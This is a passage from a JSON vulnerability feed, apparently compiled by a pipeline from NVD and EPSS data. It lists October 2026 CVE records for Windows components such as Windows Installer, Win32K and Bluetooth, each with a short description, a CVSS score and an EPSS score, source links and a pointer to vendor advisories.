fixes.","publishedAt":"2026-10-13T19:20:27.360Z","updatedAt":"2026-10-16T16:21:31.573Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83783","asOf":"2026-10-16T16:21:31.573Z"},"epss":{"probability":0.00361,"percentile":0.29671,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83783&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83783","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83783","type":"primary","publishedAt":"2026-10-13T19:20:27.360Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83783&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83783, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83781","cveId":"CVE-2026-83781","aliases":[],"kind":"vulnerability","title":"Improper null termination in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.","summary":"Improper null termination in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.","detail":"Improper null termination in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:27.050Z","updatedAt":"2026-10-13T21:18:49.770Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83781","asOf":"2026-10-13T21:18:49.770Z"},"epss":{"probability":0.00361,"percentile":0.29677,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83781&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83781","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83781","type":"primary","publishedAt":"2026-10-13T19:20:27.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83781&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83781, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83779","cveId":"CVE-2026-83779","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:26.743Z","updatedAt":"2026-10-16T16:21:31.067Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83779","asOf":"2026-10-16T16:21:31.067Z"},"epss":{"probability":0.00361,"percentile":0.29677,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83779&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83779","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83779","type":"primary","publishedAt":"2026-10-13T19:20:26.743Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83779&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83779, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83778","cveId":"CVE-2026-83778","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Internet Messaging API allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Internet Messaging API allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Internet Messaging API allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:26.563Z","updatedAt":"2026-10-16T16:21:30.897Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83778","asOf":"2026-10-16T16:21:30.897Z"},"epss":{"probability":0.00912,"percentile":0.59763,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83778&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83778","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83778","type":"primary","publishedAt":"2026-10-13T19:20:26.563Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83778&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83778, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83777","cveId":"CVE-2026-83777","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Bluetooth Service allows an unauthorized attacker to elevate privileges over an adjacent network.","summary":"Heap-based buffer overflow in Windows Bluetooth Service allows an unauthorized attacker to elevate privileges over an adjacent network.","detail":"Heap-based buffer overflow in Windows Bluetooth Service allows an unauthorized attacker to elevate privileges over an adjacent network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:26.400Z","updatedAt":"2026-10-16T16:21:30.730Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83777","asOf":"2026-10-16T16:21:30.730Z"},"epss":{"probability":0.00621,"percentile":0.49482,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83777&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83777","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83777","type":"primary","publishedAt":"2026-10-13T19:20:26.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83777&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83777, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83775","cveId":"CVE-2026-83775","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:26.043Z","updatedAt":"2026-10-16T16:21:30.393Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83775","asOf":"2026-10-16T16:21:30.393Z"},"epss":{"probability":0.00235,"percentile":0.14362,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83775&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83775","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83775","type":"primary","publishedAt":"2026-10-13T19:20:26.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83775&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83775, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83771","cveId":"CVE-2026-83771","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Camera Frame Server Monitor allows an unauthorized attacker to elevate privileges over an adjacent network.","summary":"Use after free in Windows Camera Frame Server Monitor allows an unauthorized attacker to elevate privileges over an adjacent network.","detail":"Use after free in Windows Camera Frame Server Monitor allows an unauthorized attacker to elevate privileges over an adjacent network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:25.610Z","updatedAt":"2026-10-13T21:18:48.500Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83771","asOf":"2026-10-13T21:18:48.500Z"},"epss":{"probability":0.00621,"percentile":0.49482,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83771&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83771","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83771","type":"primary","publishedAt":"2026-10-13T19:20:25.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83771&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83771, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83769","cveId":"CVE-2026-83769","aliases":[],"kind":"vulnerability","title":"Use after free in OpenSSH for Windows allows an authorized attacker to elevate privileges locally.","summary":"Use after free in OpenSSH for Windows allows an authorized attacker to elevate privileges locally.","detail":"Use after free in OpenSSH for Windows allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:25.280Z","updatedAt":"2026-10-16T16:21:29.747Z","regions":["Global"],"vendor":null,"product":null,"stacks":["OpenSSH"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83769","asOf":"2026-10-16T16:21:29.747Z"},"epss":{"probability":0.00417,"percentile":0.35674,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83769&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83769","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83769","type":"primary","publishedAt":"2026-10-13T19:20:25.280Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83769&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83769, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83767","cveId":"CVE-2026-83767","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:24.897Z","updatedAt":"2026-10-16T16:21:29.427Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83767","asOf":"2026-10-16T16:21:29.427Z"},"epss":{"probability":0.0031,"percentile":0.23624,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83767&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83767","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83767","type":"primary","publishedAt":"2026-10-13T19:20:24.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83767&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83767, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83763","cveId":"CVE-2026-83763","aliases":[],"kind":"vulnerability","title":"Access of resource using incompatible type ('type confusion') in Windows Input System allows an authorized attacker to elevate privileges locally.","summary":"Access of resource using incompatible type ('type confusion') in Windows Input System allows an authorized attacker to elevate privileges locally.","detail":"Access of resource using incompatible type ('type confusion') in Windows Input System allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:23.017Z","updatedAt":"2026-10-16T16:21:28.803Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83763","asOf":"2026-10-16T16:21:28.803Z"},"epss":{"probability":0.00404,"percentile":0.34364,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83763&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83763","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83763","type":"primary","publishedAt":"2026-10-13T19:20:23.017Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83763&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83763, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83762","cveId":"CVE-2026-83762","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:22.863Z","updatedAt":"2026-10-16T16:21:28.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83762","asOf":"2026-10-16T16:21:28.660Z"},"epss":{"probability":0.00361,"percentile":0.29669,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83762&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83762","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83762","type":"primary","publishedAt":"2026-10-13T19:20:22.863Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83762&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83762, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83759","cveId":"CVE-2026-83759","aliases":[],"kind":"vulnerability","title":"Improper control of generation of code ('code injection') in Windows Encrypting File System (EFS) allows an authorized attacker to execute code over a network.","summary":"Improper control of generation of code ('code injection') in Windows Encrypting File System (EFS) allows an authorized attacker to execute code over a network.","detail":"Improper control of generation of code ('code injection') in Windows Encrypting File System (EFS) allows an authorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:22.380Z","updatedAt":"2026-10-16T16:21:28.200Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83759","asOf":"2026-10-16T16:21:28.200Z"},"epss":{"probability":0.00925,"percentile":0.6019,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83759&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83759","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83759","type":"primary","publishedAt":"2026-10-13T19:20:22.380Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83759&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83759, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83758","cveId":"CVE-2026-83758","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to execute code locally.","summary":"Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to execute code locally.","detail":"Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to execute code locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:22.200Z","updatedAt":"2026-10-16T16:21:28.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83758","asOf":"2026-10-16T16:21:28.023Z"},"epss":{"probability":0.00361,"percentile":0.29669,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83758&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83758","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83758","type":"primary","publishedAt":"2026-10-13T19:20:22.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83758&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83758, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83757","cveId":"CVE-2026-83757","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Win32K allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Win32K allows an authorized attacker to elevate privileges 